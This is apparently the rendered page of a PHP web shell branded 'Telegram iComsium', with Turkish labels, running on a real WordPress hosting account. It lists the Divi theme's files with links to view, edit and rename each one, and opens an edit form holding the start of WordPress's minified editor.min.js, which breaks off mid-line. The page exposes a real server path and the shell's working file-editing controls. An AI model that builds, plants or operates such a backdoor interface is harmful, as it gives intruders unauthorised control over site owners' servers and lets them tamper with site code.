<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: editor.min.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">&quot;use strict&quot;;var wp;(wp||={}).editor=(()=&gt;{var iae=Object.create;var T1=Object.defineProperty;var sae=Object.getOwnPropertyDescriptor;var aae=Object.getOwnPropertyNames;var lae=Object.getPrototypeOf,cae=Object.prototype.hasOwnProperty;var Zn=(e=&gt;typeof require&lt;&quot;u&quot;?require:typeof Proxy&lt;&quot;u&quot;?new Proxy(e,{get:(t,r)=&gt;(typeof require&lt;&quot;u&quot;?require:t)[r]}):e)(function(e){if(typeof require&lt;&quot;u&quot;)return require.apply(this,arguments);throw Error(&#039;Dynamic require of &quot;&#039;+e+&#039;&quot; is not supported&#039;)});var Ie=(e,t)=&gt;()=&gt;(t||e((t={exports:{}}).exports,t),t.exports),Qc=(e,t)=&gt;{for(var r in t)T1(e,r,{get:t[r],enumerable:!0})},PF=(e,t,r,o)=&gt;{if(t&amp;&amp;typeof t==&quot;object&quot;||typeof t==&quot;function&quot;)for(let n of aae(t))!cae.call(e,n)&amp;&amp;n!==r&amp;&amp;T1(e,n,{get:()=&gt;t[n],enumerable:!(o=sae(t,n))||o.enumerable});return e};var s=(e,t,r)=&gt;(r=e!=null?iae(lae(e)):{},PF(t||!e||!e.__esModule?T1(r,&quot;default&quot;,{value:e,enumerable:!0}):r,e)),uae=e=&gt;PF(T1({},&quot;__esModule&quot;,{value:!0}),e);var O=Ie((wAe,kF)=&gt;{kF.exports=window.wp.data});var W=Ie((xAe,EF)=&gt;{EF.exports=window.wp.coreData});var D=Ie((CAe,RF)=&gt;{RF.exports=window.wp.element});var he=Ie((TAe,AF)=&gt;{AF.exports=window.wp.compose});var mo=Ie((PAe,OF)=&gt;{OF.exports=window.wp.hooks});var $=Ie((kAe,IF)=&gt;{IF.exports=window.wp.blockEditor});var Xe=Ie((NAe,VF)=&gt;{VF.exports=window.wp.blocks});var po=Ie((FAe,jF)=&gt;{jF.exports=window.wp.date});var Ir=Ie((DAe,zF)=&gt;{zF.exports=window.wp.url});var Yi=Ie((BAe,UF)=&gt;{UF.exports=window.wp.deprecated});var lt=Ie((MAe,HF)=&gt;{HF.exports=window.wp.preferences});var de=Ie((jAe,ZF)=&gt;{ZF.exports=window.wp.primitives});var C=Ie((zAe,KF)=&gt;{KF.exports=window.ReactJSXRuntime});var qv=Ie((LIe,XF)=&gt;{XF.exports=window.wp.privateApis});var Xm=Ie((ZIe,uD)=&gt;{uD.exports=window.wp.a11y});var Qm=Ie((KIe,dD)=&gt;{dD.exports=window.wp.apiFetch});var ct=Ie((XIe,fD)=&gt;{fD.exports=window.wp.notices});var E=Ie((QIe,mD)=&gt;{mD.exports=window.wp.i18n});var ft=Ie((n6e,_D)=&gt;{_D.exports=window.wp.htmlEntities});var xD=Ie((a6e,wD)=&gt;{&quot;use strict&quot;;wD.exports=function e(t,r){if(t===r)return!0;if(t&amp;&amp;r&amp;&amp;typeof t==&quot;object&quot;&amp;&amp;typeof r==&quot;object&quot;){if(t.constructor!==r.constructor)return!1;var o,n,i;if(Array.isArray(t)){if(o=t.length,o!=r.length)return!1;for(n=o;n--!==0;)if(!e(t[n],r[n]))return!1;return!0}if(t.constructor===RegExp)return t.source===r.source&amp;&amp;t.flags===r.flags;if(t.valueOf!==Object.prototype.valueOf)return t.valueOf()===r.valueOf();if(t.toString!==Object.prototype.toString)return t.toString()===r.toString();if(i=Object.keys(t),o=i.length,o!==Object.keys(r).length)return!1;for(n=o;n--!==0;)if(!Object.prototype.hasOwnProperty.call(r,i[n]))return!1;for(n=o;n--!==0;){var a=i[n];if(!e(t[a],r[a]))return!1}return!0}return t!==t&amp;&amp;r!==r}});var Yd=Ie((y6e,RD)=&gt;{RD.exports=window.wp.mediaUtils});var A=Ie((I6e,jD)=&gt;{jD.exports=window.wp.components});var Ls=Ie((l3e,sB)=&gt;{sB.exports=window.wp.patterns});var sy=Ie((g3e,dB)=&gt;{dB.exports=window.wp.blob});var Jn=Ie((y3e,vB)=&gt;{vB.exports=window.React});var s5=Ie((D3e,lM)=&gt;{lM.exports=window.ReactDOM});var M_=Ie((f4e,B_)=&gt;{var NM={\u00C0:&quot;A&quot;,\u00C1:&quot;A&quot;,\u00C2:&quot;A&quot;,\u00C3:&quot;A&quot;,\u00C4:&quot;A&quot;,\u00C5:&quot;A&quot;,\u1EA4:&quot;A&quot;,\u1EAE:&quot;A&quot;,\u1EB2:&quot;A&quot;,\u1EB4:&quot;A&quot;,\u1EB6:&quot;A&quot;,\u00C6:&quot;AE&quot;,\u1EA6:&quot;A&quot;,\u1EB0:&quot;A&quot;,\u0202:&quot;A&quot;,\u1EA2:&quot;A&quot;,\u1EA0:&quot;A&quot;,\u1EA8:&quot;A&quot;,\u1EAA:&quot;A&quot;,\u1EAC:&quot;A&quot;,\u00C7:&quot;C&quot;,\u1E08:&quot;C&quot;,\u00C8:&quot;E&quot;,\u00C9:&quot;E&quot;,\u00CA:&quot;E&quot;,\u00CB:&quot;E&quot;,\u1EBE:&quot;E&quot;,\u1E16:&quot;E&quot;,\u1EC0:&quot;E&quot;,\u1E14:&quot;E&quot;,\u1E1C:&quot;E&quot;,\u0206:&quot;E&quot;,\u1EBA:&quot;E&quot;,\u1EBC:&quot;E&quot;,\u1EB8:&quot;E&quot;,\u1EC2:&quot;E&quot;,\u1EC4:&quot;E&quot;,\u1EC6:&quot;E&quot;,\u00CC:&quot;I&quot;,\u00CD:&quot;I&quot;,\u00CE:&quot;I&quot;,\u00CF:&quot;I&quot;,\u1E2E:&quot;I&quot;,\u020A:&quot;I&quot;,\u1EC8:&quot;I&quot;,\u1ECA:&quot;I&quot;,\u00D0:&quot;D&quot;,\u00D1:&quot;N&quot;,\u00D2:&quot;O&quot;,\u00D3:&quot;O&quot;,\u00D4:&quot;O&quot;,\u00D5:&quot;O&quot;,\u00D6:&quot;O&quot;,\u00D8:&quot;O&quot;,\u1ED0:&quot;O&quot;,\u1E4C:&quot;O&quot;,\u1E52:&quot;O&quot;,\u020E:&quot;O&quot;,\u1ECE:&quot;O&quot;,\u1ECC:&quot;O&quot;,\u1ED4:&quot;O&quot;,\u1ED6:&quot;O&quot;,\u1ED8:&quot;O&quot;,\u1EDC:&quot;O&quot;,\u1EDE:&quot;O&quot;,\u1EE0:&quot;O&quot;,\u1EDA:&quot;O&quot;,\u1EE2:&quot;O&quot;,\u00D9:&quot;U&quot;,\u00DA:&quot;U&quot;,\u00DB:&quot;U&quot;,\u00DC:&quot;U&quot;,\u1EE6:&quot;U&quot;,\u1EE4:&quot;U&quot;,\u1EEC:&quot;U&quot;,\u1EEE:&quot;U&quot;,\u1EF0:&quot;U&quot;,\u00DD:&quot;Y&quot;,\u00E0:&quot;a&quot;,\u00E1:&quot;a&quot;,\u00E2:&quot;a&quot;,\u00E3:&quot;a&quot;,\u00E4:&quot;a&quot;,\u00E5:&quot;a&quot;,\u1EA5:&quot;a&quot;,\u1EAF:&quot;a&quot;,\u1EB3:&quot;a&quot;